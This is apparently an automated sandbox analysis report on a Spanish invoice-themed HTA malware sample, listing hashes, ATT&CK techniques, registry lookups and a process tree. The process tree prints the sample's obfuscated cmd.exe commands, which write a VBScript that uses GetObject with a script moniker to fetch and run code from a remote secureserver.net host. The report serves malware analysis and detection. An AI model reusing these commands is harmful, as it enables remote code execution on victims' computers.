183004136f92ee51ca608419dafb6c7df9004cf1ef6898143e85eb3eb93b9e11

Analysis

max time kernel
149s
max time network
153s
platform
windows10-2004_x64
resource
win10v2004-20240508-es
resource tags

arch:x64arch:x86image:win10v2004-20240508-eslocale:es-esos:windows10-2004-x64systemwindows
submitted
13/05/2024, 16:39

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

Su-Factura-2709784.hta
Size

1KB
MD5

3f5c71b21594d8da434f6ab9b31b021a
SHA1

f2b5e5d5d244f08d3f3d28abb01ec395b212f7db
SHA256

183004136f92ee51ca608419dafb6c7df9004cf1ef6898143e85eb3eb93b9e11
SHA512

0e80b6be18dfcae58fa109f433f8c1d9fe6110fce3bbf11cff576f100b4486c9bebe750cd6ce8ef942546eafe04f165f63ac922e2138b34fa700cec1f3677670

Score

7^/10

Malware Config

Signatures

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000\Control Panel\International\Geo\Nation	mshta.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 18 IoCs

description	pid	Process	procid_target
PID 1632 wrote to memory of 3052	1632	mshta.exe	83
PID 1632 wrote to memory of 3052	1632	mshta.exe	83
PID 1632 wrote to memory of 3052	1632	mshta.exe	83
PID 1632 wrote to memory of 2056	1632	mshta.exe	86
PID 1632 wrote to memory of 2056	1632	mshta.exe	86
PID 1632 wrote to memory of 2056	1632	mshta.exe	86
PID 2056 wrote to memory of 3404	2056	cmd.exe	88
PID 2056 wrote to memory of 3404	2056	cmd.exe	88
PID 2056 wrote to memory of 3404	2056	cmd.exe	88
PID 2056 wrote to memory of 2900	2056	cmd.exe	89
PID 2056 wrote to memory of 2900	2056	cmd.exe	89
PID 2056 wrote to memory of 2900	2056	cmd.exe	89
PID 2056 wrote to memory of 2008	2056	cmd.exe	90
PID 2056 wrote to memory of 2008	2056	cmd.exe	90
PID 2056 wrote to memory of 2008	2056	cmd.exe	90
PID 2056 wrote to memory of 1184	2056	cmd.exe	91
PID 2056 wrote to memory of 1184	2056	cmd.exe	91
PID 2056 wrote to memory of 1184	2056	cmd.exe	91

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\Su-Factura-2709784.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1632
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /V/D/c "echo m3t94="ri">C:\Users\Public\MLlgEf63.vbs&&echo KSYptbP50="tp">>C:\Users\Public\MLlgEf63.vbs&&echo qYrg7=".":mYMMRW23="sC" ^& m3t94 ^& "pt:ht" ^& KSYptbP50 ^& "s://">>C:\Users\Public\MLlgEf63.vbs"
  2⤵
  PID:3052
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /V/D/c echo|set /p=^"mYMMRW23^=mYMMRW23 ^& ^"162"+qYrg7+"200"+qYrg7+"178"+qYrg7+"68"+qYrg7+"host"+qYrg7+"secureserver"+qYrg7+"net/g1^":GetO^">>C:\Users\Public\\MLlgEf63.vbs&echo|set /p=^"bject(^">>C:\Users\Public\\MLlgEf63.vbs
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2056
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo"
    3⤵
    PID:3404
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" set /p="mYMMRW23=mYMMRW23 & "162"+qYrg7+"200"+qYrg7+"178"+qYrg7+"68"+qYrg7+"host"+qYrg7+"secureserver"+qYrg7+"net/g1":GetO" 1>>C:\Users\Public\\MLlgEf63.vbs"
    3⤵
    PID:2900
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo"
    3⤵
    PID:2008
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" set /p="bject(" 1>>C:\Users\Public\\MLlgEf63.vbs"
    3⤵
    PID:1184

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Public\MLlgEf63.vbs

Filesize
92B

MD5
0248b5d19fce30abf010124180bfb4b8

SHA1
0207511208ea7a47ad5b170bd339ae8281c0cc99

SHA256
a0cb0e1bf16b345141819a497b10c27e56245db5813a463a3b550720a278407b

SHA512
2d0d6bda85985b77f9d5313ee304d37fef4c7af4616bb44387ba52fcc8529d684330c0ff1f12e4c07cb6dfb9d5918cf2424ba3124260c56dfcc84c144e4b5e37

Download Submit
C:\Users\Public\MLlgEf63.vbs

Filesize
212B

MD5
19296be7fff334ba43a793095e3671a9

SHA1
0b86a0683db59a5df1b35631a1403a2a601d64f8

SHA256
768f66e53b0732b6eb2e0c7597f30c741a79f16c0af571f1e48f1bd364627440

SHA512
013e7158949be0c491a594238dfac43db28e6f4b316ad71e5cfb6a3172eda4ffabf3101871c41d1801ffc7cae98c33521a16553988285995d3b6ed37f69dfa2c

Download Submit